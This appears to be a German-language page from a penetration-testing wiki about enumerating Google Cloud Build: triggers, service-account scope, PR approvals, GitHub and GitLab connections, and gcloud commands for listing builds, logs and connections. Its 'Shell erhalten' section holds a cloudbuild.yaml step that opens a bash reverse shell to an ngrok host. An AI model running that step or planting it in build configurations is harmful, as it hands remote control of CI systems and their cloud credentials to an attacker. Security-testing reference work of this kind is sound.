# GCP - Cloud Build Enum {{#include ../../../banners/hacktricks-training.md}} ## Grundinformationen Google Cloud Build ist eine verwaltete CI/CD-Plattform, die **Software-Bau** und Freigabeprozesse automatisiert, sich in **Quellcode-Repositories** integriert und eine breite Palette von Programmiersprachen unterstützt. Es **ermöglicht Entwicklern, Code automatisch zu erstellen, zu testen und bereitzustellen**, während es Flexibilität bietet, um Build-Schritte und Workflows anzupassen. Jeder Cloud Build Trigger ist **mit einem Cloud Repository verbunden oder direkt mit einem externen Repository** (Github, Bitbucket und Gitlab) verbunden. > [!TIP] > Ich konnte hier oder von Cloud-Repositories aus keine Möglichkeit sehen, das Github/Bitbucket-Token zu stehlen, da das Repo beim Herunterladen über eine [https://source.cloud.google.com/](https://source.cloud.google.com/) URL zugegriffen wird und Github nicht vom Client aus zugegriffen wird. ### Ereignisse Der Cloud Build kann ausgelöst werden, wenn: - **Push zu einem Branch**: Geben Sie den Branch an - **Push eines neuen Tags**: Geben Sie das Tag an - **Pull-Anfrage**: Geben Sie den Branch an, der die PR erhält - **Manuelle Ausführung** - **Pub/Sub-Nachricht:** Geben Sie das Thema an - **Webhook-Ereignis**: Wird eine HTTPS-URL bereitstellen und die Anfrage muss mit einem Geheimnis authentifiziert werden ### Ausführung Es gibt 3 Optionen: - Eine yaml/json **die die auszuführenden Befehle angibt**. Üblicherweise: `/cloudbuild.yaml` - Nur eine, die „inline“ in der Web-Konsole und in der CLI angegeben werden kann - Häufigste Option - Relevant für nicht authentifizierten Zugriff - Eine **Dockerfile** zum Erstellen - Ein **Buildpack** zum Erstellen ### SA-Berechtigungen Das **Service-Konto hat den `cloud-platform` Scope**, sodass es **alle Berechtigungen nutzen kann.** Wenn **kein SA angegeben ist** (wie beim Einreichen), wird das **Standard-SA** `@cloudbuild.gserviceaccount.com` **verwendet.** Standardmäßig werden keine Berechtigungen erteilt, aber es ist ziemlich einfach, einige zu gewähren:
### Genehmigungen Es ist möglich, einen Cloud Build so zu konfigurieren, dass **Genehmigungen für Build-Ausführungen erforderlich sind** (standardmäßig deaktiviert). ### PR-Genehmigungen Wenn der Trigger PR ist, weil **jeder PRs zu öffentlichen Repositories durchführen kann**, wäre es sehr gefährlich, einfach **die Ausführung des Triggers mit jedem PR zuzulassen**. Daher wird die Ausführung standardmäßig nur **automatisch für Eigentümer und Mitwirkende** sein, und um den Trigger mit PRs anderer Benutzer auszuführen, muss ein Eigentümer oder Mitwirkender `/gcbrun` kommentieren.
### Verbindungen & Repositories Verbindungen können über folgende Wege erstellt werden: - **GitHub:** Es wird ein OAuth-Prompt angezeigt, der um Berechtigungen bittet, um **ein Github-Token zu erhalten**, das im **Secret Manager** gespeichert wird. - **GitHub Enterprise:** Es wird gefragt, ob eine **GithubApp** installiert werden soll. Ein **Authentifizierungstoken** von Ihrem GitHub Enterprise-Host wird erstellt und in diesem Projekt als **Secret Manager**-Geheimnis gespeichert. - **GitLab / Enterprise:** Sie müssen **das API-Zugriffstoken und das Lese-API-Zugriffstoken** bereitstellen, das im **Secret Manager** gespeichert wird. Sobald eine Verbindung hergestellt ist, können Sie sie verwenden, um **Repositories zu verknüpfen, auf die das Github-Konto Zugriff hat**. Diese Option ist über die Schaltfläche verfügbar:
> [!TIP] > Beachten Sie, dass Repositories, die mit dieser Methode verbunden sind, **nur in Triggern der 2. Generation verfügbar sind.** ### Ein Repository verbinden Dies ist nicht dasselbe wie eine **`Verbindung`**. Dies ermöglicht **verschiedene** Möglichkeiten, um **Zugriff auf ein Github- oder Bitbucket**-Repository zu erhalten, generiert jedoch **kein Verbindungsobjekt, sondern ein Repository-Objekt (1. Generation).** Diese Option ist über die Schaltfläche verfügbar:
### Speicherung Manchmal wird Cloud Build **einen neuen Speicher generieren, um die Dateien für den Trigger zu speichern**. Dies geschieht beispielsweise in dem Beispiel, das GCP mit anbietet: ```bash git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \ cd cloud-console-sample-build && \ gcloud builds submit --config cloudbuild.yaml --region=global ``` Ein Speicher-Bucket namens [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) wird erstellt, um eine `.tgz` mit den zu verwendenden Dateien zu speichern. ### Shell erhalten ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1 options: logging: CLOUD_LOGGING_ONLY ``` Installiere gcloud innerhalb von Cloud Build: ```bash # https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz mkdir -p /usr/local/gcloud tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz /usr/local/gcloud/google-cloud-sdk/install.sh ``` ### Aufzählung Sie könnten **sensible Informationen in Build-Konfigurationen und Protokollen** finden. ```bash # Get configured triggers configurations gcloud builds triggers list # Check for the words github and bitbucket gcloud builds triggers describe # Get build executions gcloud builds list gcloud builds describe # Get even the build yaml if defined in there gcloud builds log # Get build logs # List all connections of each region regions=("${(@f)$(gcloud compute regions list --format='value(name)')}") for region in $regions; do echo "Listing build connections in region: $region" connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}") if [[ ${#connections[@]} -eq 0 ]]; then echo "No connections found in region $region." else for connection in $connections; do echo "Describing connection $connection in region $region" gcloud builds connections describe "$connection" --region="$region" echo "-----------------------------------------" done fi echo "=========================================" done # List all worker-pools regions=("${(@f)$(gcloud compute regions list --format='value(name)')}") for region in $regions; do echo "Listing build worker-pools in region: $region" gcloud builds worker-pools list --region="$region" echo "-----------------------------------------" done ``` ### Privilegienerhöhung {{#ref}} ../gcp-privilege-escalation/gcp-cloudbuild-privesc.md {{#endref}} ### Unauthentifizierter Zugriff {{#ref}} ../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md {{#endref}} ### Nach der Ausnutzung {{#ref}} ../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}}